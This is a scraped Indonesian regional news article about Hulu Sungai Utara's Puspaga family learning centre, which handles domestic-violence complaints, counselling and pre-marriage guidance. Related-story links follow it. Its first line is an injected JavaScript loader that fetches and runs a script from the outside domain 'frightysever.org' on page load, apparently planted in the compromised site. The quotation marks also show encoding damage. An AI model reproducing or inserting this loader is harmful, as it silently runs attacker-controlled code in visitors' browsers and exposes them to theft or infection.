(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
AMUNTAI, Sejak Tahun 2016 Kementerian Pemberdayaan Perempuan dan Perlindungan Anak (KPPPA) membentuk program unggulan Pusat Pembelajaran Keluarga (Puspaga). Puspaga merupakan bentuk layanan pencegahan dan wujud kepedulian negara meningkatkan kehidupan keluarga dan ketahanan keluarga.
Dalam Puspaga ada program pendidikan/pengasuhan, keterampilan menjadi orangtua, keterampilan melindungi anak, kemampuan meningkatkan partisipasi anak dalam keluarga maupun penyelenggaraan program konseling bagi anak dan keluarga. Puspaga di Kabupaten HSU ada sejak tahun 2017 di Badan Pemberdayaan Perempuan dan Perlindungan Anak (BP3A) Kabupaten Hulu Sungai Utara (HSU).
Kepala BP3A Kabupaten HSU Hj Gusti Iskandariah mengatakan, semenjak terbentuknya lembaga Puspaga Agung Berseri Kabupaten HSU, BP3A berupaya memaksimalkan kinerja untuk memberikan bantuan kepada masyarakat terutama terhadap perempuan dan anak yang sering mengalami korban kekerasan.
BP3A HSU melakukan pelayanan langsung terhadap masyarakat di lapangan, baik terhadap perlindungan anak, maupun sebagi mediator terhadap dua pasangan yang menghadapi permasalahan perceraian.
“Kami tidak hanya memberikan pelayanan di sini saja, namun apa bila ada pelaporan, kami akan menindaklanjutinya dengan menurunkan petugas langsung ke lapangan,†apar Gusti Iskandariah.
Ia menambahkan selama ini kasus yang sering diterima oleh BP3A Kabupaten HSU, kebanyakan terkait masalah Kekerasan Dalam Rumah Tangga (KDRT) baik menyangkut dengan istri maupun terhadap anak.
“Dibandingkan tahun 2016 yang hanya belasan pengaduan saja, selama tahun 2017 jumlah pengaduan kepada BP3A melalui Puspaga mengalami peningkatan yaitu sekitar dua puluh, karena orang sudah mulai tahu keberadaan Puspaga sebagai tempat pengaduan, pelayanan konseling, pendamping, advokasi anak dan lain sebagainya,†bebernya.
Namun diakuinya, masih banyak kasus permasalahan dalam keluarga yang tidak dilaporkan, sehingga BP3A hanya memberikan pendampingan konseling serta memfasilitasi agar dapat menyelesaikan permasalahan.
Selama ini BP3A juga sudah melakukan kerjasama dengan pihak Kementerian Agama Kabupaten HSU, diantaranya melalui pendampingan persiapan pembekalan pra nikah kepada para calon pasangan pengantin.
“Melalui Puspaga Agung Berseri diharapkan dapat membekali calon pasangan pengantin untuk membangun rumah tangga, apabila ditengah jalan mengalami permasalahan, mereka tidak hanya mengadukan permasalahannya kepala orang tua, namun juga dapat berkonsultasi di Puspaga,†pungkas Gusti Iskandariah. (dewahyudi)
KANALKALIMANTAN.COM, BANJARMASIN - Kemunculan seekor buaya di kawasan sungai Kelurahan Pelambuan, Kecamatan Banjarmasin Utara, Kota… Read More
KANALKALIMANTAN.COM, BANJARBARU – Dinas Kesehatan (Dinkes) Kota Banjarbaru hadirkan layanan kesehatan yang lebih dekat dengan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Warga Jalan Harmoni III Kelurahan Pekapuran Raya, Kecamatan Banjarmasin Timur. Kota Banjarmasin,… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kabupaten (Pemkab) Hulu Sungai Utara (HSU) kembali menerima opini Wajar Tanpa… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kelurahan Selat Dalam, Kecamatan Selat, Kabupaten Kapuas, Kalteng menggelar acara… Read More
KANALKALIMANTAN.COM, MARTAPURA - Kontingen Pekan Olahraga Pelajar Daerah (Popda) Kabupaten Banjar Tahun 2024 yang terdiri… Read More
This website uses cookies.